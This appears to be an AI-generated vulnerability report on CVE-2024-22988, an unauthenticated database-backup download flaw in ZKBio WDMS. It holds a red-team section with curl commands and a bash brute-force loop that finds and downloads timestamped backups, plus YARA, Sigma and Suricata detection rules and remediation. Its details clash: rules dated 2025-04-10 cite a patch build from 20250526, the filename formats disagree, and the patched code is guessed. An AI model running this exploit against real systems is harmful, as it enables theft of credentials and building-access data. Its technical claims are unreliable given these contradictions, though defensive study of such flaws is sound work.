CVE-2024-22988

Executive Summary

CVE-2024-22988 is a critical information disclosure vulnerability in ZKTeco ZKBio WDMS (Web-based Door Management System) versions prior to 9.0.2 Build 20250526. The vulnerability allows an unauthenticated attacker to download a complete database backup by accessing the /files/backup/ endpoint. The backup filename is generated using a predictable timestamp, making it trivial to enumerate and retrieve. This exposes sensitive data including user credentials, access logs, and system configuration.

The vulnerability has a CVSS v3.1 base score of 7.5 (High) due to the ease of exploitation (no authentication required, low attack complexity) and the high impact on confidentiality. No public exploit code or Nuclei template has been observed in the wild at the time of analysis, but the attack vector is straightforward and can be weaponized with minimal effort.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a proprietary enterprise software product (ZKBio WDMS). Organizations using this product should treat it as a critical supply chain risk and prioritize patching.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Complete database exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Base Score: 7.5 (High)

Threat Level: High. The vulnerability is trivial to exploit and exposes the entire database, including hashed passwords, access logs, and system secrets.

Deep Dive & Mechanics

The vulnerability resides in the /files/backup/ endpoint of ZKBio WDMS. The application automatically creates database backups at regular intervals (e.g., daily) and stores them in a predictable directory. The backup filename is constructed using a timestamp in the format YYYYMMDD_HHMMSS (e.g., 20250526_120000.bak). An attacker can brute-force or guess the filename by iterating through recent timestamps.

Root Cause: The application fails to implement proper access controls on the backup directory and uses a predictable naming scheme. No authentication or authorization check is performed before serving the file.

Attack Flow:

1. Identify a target running ZKBio WDMS (e.g., via Shodan or port scanning).
2. Access https://target.com/files/backup/ to list directory contents (if directory listing is enabled) or brute-force filenames.
3. Download the backup file (e.g., 20250526_120000.bak).
4. Extract the database (e.g., using strings or a database viewer) to obtain sensitive data.

Impact: Full database compromise, including:

• User credentials (hashed passwords, usernames)
• Access control lists
• Door schedules and configurations
• Audit logs
• System secrets (API keys, encryption keys)

Vulnerable vs. Patched Code

Vulnerable Code (Pre-9.0.2): The backup file is stored in /files/backup/ with a predictable name. The web server serves the file without authentication.

# Example vulnerable logic (pseudocode)
backup_dir = "/var/www/html/files/backup/"
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
backup_file = f"zkbio_backup_{timestamp}.bak"
# No access control check

Patched Code (9.0.2 Build 20250526): The patched version likely implements:

• Authentication required to access the backup endpoint.
• Randomized filenames (e.g., UUID-based).
• Removal of directory listing.
• Encryption of backup files.

# Example patched logic (pseudocode)
backup_dir = "/var/www/html/files/backup/"
if not user.is_authenticated:
    return 403 Forbidden
backup_file = f"zkbio_backup_{uuid.uuid4()}.bak"
# Access control enforced

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running ZKBio WDMS < 9.0.2 Build 20250526.
• Network access to the web interface.

Exploitation Steps:

1. Enumerate backup files:

   # Attempt directory listing
   curl -k https://target.com/files/backup/
   

2. Brute-force filenames (if directory listing disabled):

   # Generate timestamps for the last 7 days
   for i in $(seq 0 7); do
       date=$(date -d "-$i days" +%Y%m%d)
       for hour in $(seq 0 23); do
           for min in $(seq 0 59); do
               for sec in $(seq 0 59); do
                   filename="${date}_$(printf '%02d%02d%02d' $hour $min $sec).bak"
                   response=$(curl -s -o /dev/null -w "%{http_code}" -k "https://target.com/files/backup/$filename")
                   if [ "$response" == "200" ]; then
                       echo "Found: $filename"
                       curl -k -O "https://target.com/files/backup/$filename"
                   fi
               done
           done
       done
   done
   

3. Extract data from backup:

   # Assuming SQLite backup
   strings backup.bak | grep -E 'password|admin|user'
   

Expected Outcome: Full database dump.

Blue Team (Defensive)

Detection:

• Monitor for repeated HTTP 200 responses to /files/backup/*.bak patterns.
• Alert on directory listing attempts to /files/backup/.

Honeypot:

• Deploy a fake backup file with a known hash to detect unauthorized access.

Lab Setup:

1. Install vulnerable ZKBio WDMS (version < 9.0.2) in an isolated VM.
2. Generate a backup by triggering the backup function.
3. Attempt exploitation from a separate machine.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /files/backup/ or /files/backup/*.bak
• User-Agent strings from common tools (curl, wget, Python requests)
• Unusual traffic patterns (high volume of 404/200 responses to backup paths)

File IOCs:

• Backup files with names matching [0-9]{8}_[0-9]{6}.bak
• Database files containing ZKBio WDMS schema (e.g., zkbio_users, zkbio_access_logs)

System IOCs:

• Unauthorized access to /var/www/html/files/backup/ directory
• Modified backup files or unexpected file creation

Detection Engineering

YARA Rule

rule CVE_2024_22988_ZKBio_Backup_Exposure {
    meta:
        description = "Detects ZKBio WDMS backup files exposed via predictable filenames"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-22988"
    strings:
        $backup_pattern = /[0-9]{8}_[0-9]{6}\.bak/
        $zkbio_header = "ZKBio WDMS Backup"
    condition:
        $backup_pattern and $zkbio_header
}

Sigma Rule

title: ZKBio WDMS Backup File Access
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to access ZKBio WDMS backup files via predictable filenames
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/files/backup/'
        cs-uri-stem|endswith: '.bak'
    condition: selection
falsepositives:
    - Legitimate backup downloads by authorized users (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22988 ZKBio WDMS Backup File Access"; flow:to_server,established; content:"GET"; http_method; content:"/files/backup/"; http_uri; content:".bak"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to ZKBio WDMS version 9.0.2 Build 20250526 or later.
2. If upgrade is not possible, restrict access to /files/backup/ via web server configuration (e.g., .htaccess or Nginx deny all).
3. Remove existing backup files from the web-accessible directory.
4. Implement a WAF rule to block requests to /files/backup/*.bak.

Long-term Measures:

• Enforce authentication for all administrative endpoints.
• Use randomized filenames for backup files.
• Store backups outside the web root.
• Implement rate limiting to prevent brute-force attacks.
• Conduct regular security audits of web applications.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.